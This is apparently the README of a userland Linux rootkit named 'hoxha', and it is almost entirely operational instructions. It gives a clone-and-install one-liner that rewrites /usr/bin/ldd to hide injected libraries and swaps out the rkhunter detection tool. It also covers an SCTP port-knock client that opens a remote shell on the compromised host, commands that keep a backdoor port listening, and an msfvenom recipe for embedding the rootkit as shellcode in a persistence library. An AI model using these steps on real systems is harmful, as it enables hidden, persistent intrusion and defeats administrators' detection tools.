A userland rootkit for x86_64 Linux that was meant to be everything Tito was not. As Enver Hoxha was Tito's next door neighbor and completely opposed in ideology, there was no more a fitting name. Hoxha was also known for being very paranoid, so a lot more detection-evasion was used.
You can download this like so:
git clone https://github.com/mephistolist/hoxha.git
If you are not on a Debian based system, you will want to run this to change to the name of your python binary:
sed -i 's/python3/python/g' hoxha/persistance/libexec.c; sed -i 's/python3/python/g' hoxha/persistance/libhide.c
Considering SCTP is installed and loaded in the kernel, you can install the rootkit this:
cd hoxha && sudo make install clean && cd persistance && [ -f ./patchelf ] && chmod +x ./patchelf && sudo make install clean && sudo sed -i 's/try_trace \"$RTLD\" \"$file\" || result=1/try_trace \"$RTLD\" \"$file\" | grep -vE \"libc.so.4|libc.so.5\" || result=1/g' /usr/bin/ldd && [ -f $(which rkhunter) ] && sudo cp ./rkhunter $(which rkhunter) 2>/dev/null;
The client can be used with just the destionation ip address where this rootkit is installed:
# ./enver 127.0.0.1
[+] SCTP knock sequence sent.
[*] Connecting to SCTP shell at 127.0.0.1:5000...
[+] Connected. Type commands (type 'exit' to quit):
sctp-shell>
As SCTP ports are hard to close, I would suggest updating this with the paths to where you have the 'hoxha' folder and running this when exiting the shell:
/home/user/hoxha/persistance/patchelf --remove-needed /lib/x86_64-linux-gnu/libc.so.5 $(which killall) && killall -9 hoxha && systemctl restart cron && /home/user/hoxha/persistance/patchelf --add-needed /lib/x86_64-linux-gnu/libc.so.5 $(which killall)
This will ensure that only one port is left listening for future connections.
If you wish to edit or just build the shell from source you can do so by just typing 'make' the root directory. Using 'make install' will give a binary at /usr/bin/hoxha. You can then run this with msfvenom:
msfvenom -p linux/x64/exec CMD=/usr/bin/hoxha -f raw -o shellcode.bin -b "\x00\x0a\x0d"
Then you can base64 the raw data like so:
cat shellcode.bin | base64
Add that base64 encoded string to the hoxha/persistance/libexec.c file and re-run the Makefile in the persistance folder to apply your changes.
Currently tested for Debian Trixie with cron running and in your $PATH. Other distos and setups may work or require manual intervention.